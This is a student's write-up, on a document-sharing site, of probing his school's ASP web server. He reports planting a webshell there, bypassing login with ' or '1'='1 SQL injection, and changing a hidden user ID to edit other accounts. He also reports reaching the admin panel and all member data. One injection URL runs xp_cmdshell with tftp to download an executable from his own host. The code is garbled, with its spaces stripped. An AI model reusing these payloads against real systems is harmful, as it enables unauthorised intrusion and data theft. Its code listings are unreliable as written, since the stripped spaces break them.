版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第第页测试我们学校服务器的安全性测试我们学校服务器的安全性
发表于:2023-05-25来源::点击数:标签:服务器测试我们学校安全性
我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何web页面了,因为学校里所有的站点都放在/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写
我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何(web)页面了,因为学校里所有的站点都放在/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写的ASP程序有什么隐患吧。、
问题一
除了前台只有少量的ASP文件,就是用户注册(是学校的人才能注册)、登陆、忘记密码、个人信息修改这几个ASP文件,先看看忘记密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看form里目标文件是lostpass1.asp,再查看原代码,没有发现问题(是我的水平有限),再看下一个lostpass2.asp,呵呵,发现了一句有毛病的语句:
sql="selectpwd,answerfrom[member]whereuserID='"userID"'andanswer='"answer"'"
这么低级的错误也会犯,此时,您只要根据sql构造一个特殊的用户名和密码,如:'or'1'='1
这样,程序将会变成这样:
sql="selectpwd,answerfrom[member]whereuserID="'or'1'=1"andpass="answer"
or是一个逻辑运算符,判断两个条件的时候,只要其中一个条件成立,那么等式将会成立,而在语言中,是以1来代表真的(成立),那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值。这样的话我们从一开始就可以提交'or'1'='1这个来饶过验证了,不管我们在什么文本框我们都提交'or'1'='1这个都能顺利到达下一个页面,既然这样,我们用'or'1'='1来作为用户名和密码登陆,会怎么样呢?实验证明登陆成功,因为显示个人(资料)修改的链接了,果然正常显示了个人(资料),我发现真实姓名不可改,说明一定有什么ID之类的来识别用户,于是直接查看网页源代码发现这么一行重要的东西:
inputtype="hidden"name="hiddenField"value="2023010001"原来是靠这个hiddenField来辨别用户,那么如果我修改了value的值,那不是可以修改其他用户了吗?马上拿我以前注册的来试,把我的号码2023010XXX替换上去,然后修改form里的相对连接,另存为htm文件,然后提交我需要修改的资料。再看看我的资料,果然被修改了,这么说如果我我知道任何一个用户的hiddenField的值,就可以修改其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以解决。
不过这个漏洞有点局限性,如果想改某个用户的资料一定要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台入口验证程序应该也是这样,我试着登陆,成功了,所有会员的资料尽收眼底,而且任意添加和修改管理员,做什么都可以啊。
这个问题的防范方法其实很简单,处理输入字符就可以了,原来我还以为用replace()函数呢,请教了一下劲风,得知用mid()函数可以很好的解决,加一个判断就可以了:
us=mid(input,i,1)
ifus=""orus="'"orus="%"orus=""orus=""orus=""then
response.redirect"error_page.asp"
response.end
几行代码就可以检查用户所输入的字符了,当然,应该尽量多检查一些特殊字符。这行代码意思是检查输入的字符中,如果有空格、单引号、百分号和“”、“”就重定向到error_page.asp这个页面。
虽然“海阳顶端网ASP木马”具有黑掉学校服务器的能力,但我们还是要从学校的程序入手,否则就没有意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。
问题二
通常一些资料调用文件都会存在一些SQLinjection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因为这些文件很容易忽略检查变量,我看到一个shownews.asp文件。马上打开,其原代码如下(由于此文件太大,限于篇幅,我去掉了很多无关的HTML代码):
%optionexplicit%
!--#includefile="conn.asp"--
%
dimsql,rs,rsc,thedate
dimreviewable,aboutnews
setrs=server.createobject("adodb.recordset")'查找显示相关新闻数目及是否开放评论权限
rs.open"select*fromnews_parameterwhereparameterid=1",conn,1,1
ifnotrs.bofandnotrs.eofthen
aboutnews=rs("aboutnews")
ifrs("reviewable")=1then
reviewable=1
else
reviewable=0
endif
else
aboutnews=5
reviewable=1
endif
rs.close
setrs=nothing
setrs=server.createobject("adodb.recordset")
sql="updatenewssethits=hitswherenewsid="cstr(request("newsid"))
conn.executesql
ifsession("purview")=""then
rs.open"select*fromnewswherenewsid="cstr(request("newsid"))"andaudit=1",conn,1,1
else
rs.open"select*fromnewswherenewsid="cstr(request("newsid")),conn,1,1
endif
iferr.number0then
response.write"数据库出错"
else
ifrs.bofandrs.eofthen
rs.close
response.write"该新闻不存在或未经过审核"
else
%
html
head
LINKhref="function/css.css"rel=stylesheettype=text/css
title%=rs("topic")%/title
metahttp-equiv="Content-Type"content="text/html;charset=gb2312"
/head
bodybgcolor="#FFFFFF"text="#000000"topmargin=0leftmargin=0rightmargin=0
tablewidth="92%"border="0"cellspacing="0"cellpadding="0"align="center"
tr
tdheight="36"valign="middle"
divalign="center"brfontsize=3b%=rs("topic")%/b/fonthrsize=0width=100%/div
/td
/tr
tr
td
divalign="center"%=rs("ntime")%%iftrim(rs("nfrom"))""then
response.write"文章来源:"trim(rs("nfrom"))
endif%
%iftrim(rs("writer"))""then
response.write":"trim(rs("writer"))
endif%浏览次数:%=rs("hits")%hrsize=0width=100%/div
/td
/tr
tr
tdvalign="top"
%dimcontent
content=rs("content")
content=replace(content,"../../../","../news/")
response.writecontent%
/td
/tr
tr
tdvalign="top"brbrbrb相关新闻/bbr
%setrsc=server.createobject("adodb.recordset")
ifsession("purview")=""then
rsc.open"selecttop"aboutnews"*fromnewswherekeyslike'%"trim(rs("keys"))"%'andnewsid"cstr(rs("newsid"))"andaudit=1orderbyntimeDESC",conn,1,1
else
rsc.open"selecttop"aboutnews"*fromnewswherekeyslike'%"trim(rs("keys"))"%'andnewsid"cstr(rs("newsid"))"orderbyntimeDESC",conn,1,1
endif
ifrsc.bofandrsc.eofthen
response.write"暂时没有相关新闻"
else
response.write"ultype=circle"
dowhilenotrsc.eof
response.write"li"
thedate="("cstr(year(rsc("ntime")))"-"cstr(month(rsc("ntime")))"-"cstr(day(rsc("ntime")))")"
response.write"ahref='shownews.asp?newsid="cstr(rsc("newsid"))"'target=_blank"trim(rsc("topic"))"/afontcolor='#6365CE'size='1'"thedate"/font"
ifmonth(cdate(trim(rs("ntime"))))=month(now())andclng(day(cdate(trim(rs("ntime"))))+1)=clng(day(now()))then
response.write"imgsrc=image/news.gifbr"
endif
rsc.movenext
loop
endif
rsc.close
setrsc=nothing%
/ul/td
/tr
/table
!--#includefile="function/copyright.inc"--
/body
/html
%endif
endif%
!--#includefile="function/DBclose.asp"--
大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句,
rs.open"select*fromnewswherenewsid="cstr(request("newsid")),conn,1,1
由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造newsid发动sqlinjection攻击,我们提交这样的代码就可以以连接这个(SQL)(数据库)的用户所拥有的权限执行系统命令。
http://ourschool/shownews.asp?newsid=1;execmaster.dbo.xp_cmdshell'tftp-imyipgetflash.exe';--
针对这个文件的解决办法就是用replace函数过滤,看看下面的代码:
re
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026总监厂长面试题目及答案
- 2027届高考语文散文阅读一轮复习(四):分析线索作用题“3步走”
- 苏教版小学一年级语文下册低段写字习惯培养教案
- 2026年《护士条例》培训试题(含答案)
- 2026年「熔化焊接与热切割」考试题及答案
- 商场员工安全知识培训
- 设备安全管理培训
- 文案策划部主管年度工作述职报告
- 健康素养促进管理
- 食品加工企业安全检查制度
- 2024年芜湖市直属学校选调教师真题
- HY/T 0460.1-2024海岸带生态系统现状调查与评估技术导则第1部分:总则
- 2025-2030中国电容式液位变送器行业市场现状供需分析及投资评估规划分析研究报告
- 酒驾查处流程
- QGW1799.1-2013《电力安全工作规程变电部分》-无附录
- DB51∕T 2428-2017 高速公路施工标准化技术指南
- 2024年湖南省张家界桑植县卫健局招聘271人历年(高频重点复习提升训练)共500题附带答案详解
- 篮球场维护管理合同范本
- 《山东省建设工程消防设计审查验收技术指南(建筑、结构)》
- 九年级物理学霸赛考卷01(解析版)(考查范围人教版九年级13-14章)2023-2024学年九年级全一册物理培优专题训练(人教版)
- 电力系统稳态分析课件
评论
0/150
提交评论